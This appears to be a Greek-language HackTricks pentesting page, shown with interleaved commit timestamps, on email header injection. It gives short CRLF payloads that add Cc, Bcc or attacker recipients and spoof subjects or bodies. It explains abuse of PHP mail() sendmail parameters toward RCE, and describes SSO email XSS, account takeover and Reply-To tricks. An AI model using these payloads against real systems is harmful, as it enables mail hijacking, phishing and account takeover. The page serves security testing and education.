hacktricks/pentesting-web/email-injections.md

175 lines
14 KiB
Markdown
Raw Normal View History

# Email Injections
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
2022-08-31 22:35:39 +00:00
\
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=email-injections) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** που υποστηρίζονται από τα **πιο προηγμένα** εργαλεία της κοινότητας.\
2024-02-10 22:40:18 +00:00
Αποκτήστε πρόσβαση σήμερα:
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Υποστηρίξτε το HackTricks</summary>
2023-12-31 01:25:17 +00:00
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στο** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
## Inject in sent e-mail
### Inject Cc and Bcc after sender argument
2021-11-27 01:09:08 +00:00
```
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
```
Το μήνυμα θα σταλεί στους λογαριασμούς recipient και recipient1.
### Inject argument
2021-11-27 01:09:08 +00:00
```
From:sender@domain.com%0ATo:attacker@domain.com
```
Το μήνυμα θα σταλεί στον αρχικό παραλήπτη και στον λογαριασμό του επιτιθέμενου.
### Inject Subject argument
2021-11-27 01:09:08 +00:00
```
2021-05-03 18:33:45 +00:00
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
```
Ο ψεύτικος τίτλος θα προστεθεί στον αρχικό τίτλο και σε ορισμένες περιπτώσεις θα τον αντικαταστήσει. Εξαρτάται από τη συμπεριφορά της υπηρεσίας αλληλογραφίας.
### Αλλαγή του σώματος του μηνύματος
Εισάγετε μια αλλαγή γραμμής δύο γραμμών, στη συνέχεια γράψτε το μήνυμά σας για να αλλάξετε το σώμα του μηνύματος.
2021-11-27 01:09:08 +00:00
```
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
```
### Εκμετάλλευση της συνάρτησης mail() της PHP
2021-11-27 01:09:08 +00:00
```bash
# The function has the following definition:
php --rf mail
Function [ <internal:standard> function mail ] {
2024-02-10 22:40:18 +00:00
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
2021-11-27 01:09:08 +00:00
}
```
2024-02-10 22:40:18 +00:00
#### Ο 5ος παράμετρος ($additional\_parameters)
2021-11-27 01:09:08 +00:00
Αυτή η ενότητα θα βασιστεί στο **πώς να καταχραστεί αυτός ο παράμετρος υποθέτοντας ότι ένας επιτιθέμενος τον ελέγχει**.
2021-11-27 01:09:08 +00:00
Αυτός ο παράμετρος θα προστεθεί στη γραμμή εντολών που θα χρησιμοποιεί το PHP για να καλέσει το δυαδικό sendmail. Ωστόσο, θα καθαριστεί με τη λειτουργία `escapeshellcmd($additional_parameters)`.
2021-11-27 01:09:08 +00:00
Ένας επιτιθέμενος μπορεί να **εισάγει πρόσθετους παραμέτρους για το sendmail** σε αυτή την περίπτωση.
2021-11-27 01:09:08 +00:00
2024-02-10 22:40:18 +00:00
#### Διαφορές στην υλοποίηση του /usr/sbin/sendmail
2021-11-27 01:09:08 +00:00
Η διεπαφή **sendmail** παρέχεται από το λογισμικό MTA email (Sendmail, Postfix, Exim κ.λπ.) που είναι εγκατεστημένο στο σύστημα. Αν και η **βασική λειτουργικότητα** (όπως οι παράμετροι -t -i -f) παραμένει η **ίδια** για λόγους συμβατότητας, οι **άλλες λειτουργίες και παράμετροι** διαφέρουν σημαντικά ανάλογα με το MTA που είναι εγκατεστημένο.
2021-11-27 01:09:08 +00:00
Ακολουθούν μερικά παραδείγματα διαφορετικών σελίδων man της εντολής/διεπαφής sendmail:
2021-11-27 01:09:08 +00:00
* Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html
* Postfix MTA: http://www.postfix.org/mailq.1.html
* Exim MTA: https://linux.die.net/man/8/eximReferences
Ανάλογα με την **προέλευση του δυαδικού sendmail**, έχουν ανακαλυφθεί διαφορετικές επιλογές για να τις καταχραστούν και να **διαρρεύσουν αρχεία ή ακόμα και να εκτελέσουν αυθαίρετες εντολές**. Δείτε πώς στο [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
2021-11-27 01:09:08 +00:00
## Εισαγωγή στο όνομα email
2022-12-29 12:18:46 +00:00
### Αγνοούμενα μέρη ενός email
2022-12-29 12:18:46 +00:00
Οι χαρακτήρες: **+, -** και **{}** σε σπάνιες περιπτώσεις μπορούν να χρησιμοποιηθούν για σήμανση και αγνοούνται από τους περισσότερους διακομιστές email
2022-12-29 12:18:46 +00:00
2024-02-10 22:40:18 +00:00
* Π.χ. john.doe+intigriti@example.com → john.doe@example.com
2022-12-29 12:18:46 +00:00
2024-02-10 22:40:18 +00:00
**Σχόλια μεταξύ παρενθέσεων ()** στην αρχή ή στο τέλος θα αγνοηθούν επίσης
2022-12-29 12:18:46 +00:00
2024-02-10 22:40:18 +00:00
* Π.χ. john.doe(intigriti)@example.com → john.doe@example.com
2022-12-29 12:18:46 +00:00
### Παράκαμψη λίστας επιτρεπόμενων
2022-12-29 12:18:46 +00:00
<figure><img src="../.gitbook/assets/image (812).png" alt="https://www.youtube.com/watch?app=desktop&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
2022-12-29 12:18:46 +00:00
### Αποσπάσματα
2022-12-29 12:18:46 +00:00
<figure><img src="../.gitbook/assets/image (626).png" alt="https://www.youtube.com/watch?app=desktop&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
2022-12-29 12:18:46 +00:00
### IPs
2022-12-29 12:18:46 +00:00
Μπορείτε επίσης να χρησιμοποιήσετε IPs ως ονόματα τομέα μεταξύ αγκυλών:
2022-12-29 12:18:46 +00:00
* john.doe@\[127.0.0.1]
* john.doe@\[IPv6:2001:db8::1]
2024-02-10 22:40:18 +00:00
### Άλλες ευπάθειες
2022-12-29 12:18:46 +00:00
![https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](<../.gitbook/assets/image (1131).png>)
2022-12-29 12:18:46 +00:00
## SSO τρίτων
2022-12-29 12:18:46 +00:00
### XSS
Ορισμένες υπηρεσίες όπως το **github** ή το **salesforce επιτρέπουν** να δημιουργήσετε μια **διεύθυνση email με XSS payloads πάνω της**. Αν μπορείτε να **χρησιμοποιήσετε αυτούς τους παρόχους για να συνδεθείτε σε άλλες υπηρεσίες** και αυτές οι υπηρεσίες **δεν καθαρίζουν** σωστά το email, θα μπορούσατε να προκαλέσετε **XSS**.
2022-12-29 12:18:46 +00:00
### Ανάληψη Λογαριασμού
2022-12-29 12:18:46 +00:00
Αν μια **υπηρεσία SSO** σας επιτρέπει να **δημιουργήσετε έναν λογαριασμό χωρίς να επαληθεύσετε τη δεδομένη διεύθυνση email** (όπως το **salesforce**) και στη συνέχεια μπορείτε να χρησιμοποιήσετε αυτόν τον λογαριασμό για να **συνδεθείτε σε μια διαφορετική υπηρεσία** που **εμπιστεύεται** το salesforce, θα μπορούσατε να αποκτήσετε πρόσβαση σε οποιονδήποτε λογαριασμό.\
_Σημειώστε ότι το salesforce υποδεικνύει αν η δεδομένη διεύθυνση email έχει επαληθευτεί ή όχι, αλλά η εφαρμογή θα πρέπει να λάβει υπόψη αυτή την πληροφορία._
## Απάντηση-Σε
Μπορείτε να στείλετε ένα email χρησιμοποιώντας _**From: company.com**_ και _**Replay-To: attacker.com**_ και αν οποιαδήποτε **αυτόματη απάντηση** σταλεί λόγω του ότι το email εστάλη **από** μια **εσωτερική διεύθυνση**, ο **επιτιθέμενος** μπορεί να είναι σε θέση να **λάβει** αυτή την **απάντηση**.
## Ποσοστό Σκληρού Bounce
Ορισμένες υπηρεσίες, όπως το AWS, εφαρμόζουν ένα όριο γνωστό ως **Ποσοστό Σκληρού Bounce**, που συνήθως ορίζεται στο 10%. Αυτό είναι ένα κρίσιμο μέτρο, ειδικά για τις υπηρεσίες παράδοσης email. Όταν αυτό το ποσοστό ξεπεραστεί, η υπηρεσία, όπως η υπηρεσία email του AWS, μπορεί να ανασταλεί ή να αποκλειστεί.
Ένα **σκληρό bounce** αναφέρεται σε ένα **email** που έχει επιστραφεί στον αποστολέα επειδή η διεύθυνση του παραλήπτη είναι άκυρη ή ανύπαρκτη. Αυτό μπορεί να συμβεί για διάφορους λόγους, όπως το **email** να έχει σταλεί σε ανύπαρκτη διεύθυνση, σε τομέα που δεν είναι πραγματικός ή η άρνηση του διακομιστή παραλήπτη να αποδεχτεί **emails**.
Στο πλαίσιο του AWS, αν στείλετε 1000 emails και 100 από αυτά καταλήξουν σε σκληρά bounces (λόγω λόγων όπως άκυρες διευθύνσεις ή τομείς), αυτό θα σήμαινε ποσοστό σκληρού bounce 10%. Η επίτευξη ή η υπέρβαση αυτού του ποσοστού μπορεί να προκαλέσει την AWS SES (Απλή Υπηρεσία Email) να αποκλείσει ή να αναστείλει τις δυνατότητες αποστολής email σας.
Είναι κρίσιμο να διατηρείτε ένα χαμηλό ποσοστό σκληρού bounce για να εξασφαλίσετε αδιάλειπτη υπηρεσία email και να διατηρήσετε τη φήμη του αποστολέα. Η παρακολούθηση και η διαχείριση της ποιότητας των διευθύνσεων email στις λίστες αποστολής σας μπορεί να βοηθήσει σημαντικά στην επίτευξη αυτού.
Για περισσότερες λεπτομέρειες, μπορείτε να ανατρέξετε στην επίσημη τεκμηρίωση του AWS σχετικά με την αντιμετώπιση bounces και παραπόνων [AWS SES Bounce Handling](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types).
## Αναφορές
* [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/)
* [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
* [https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view](https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view)
* [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0)
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Υποστήριξη HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=email-injections) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** που υποστηρίζονται από τα **πιο προηγμένα** εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}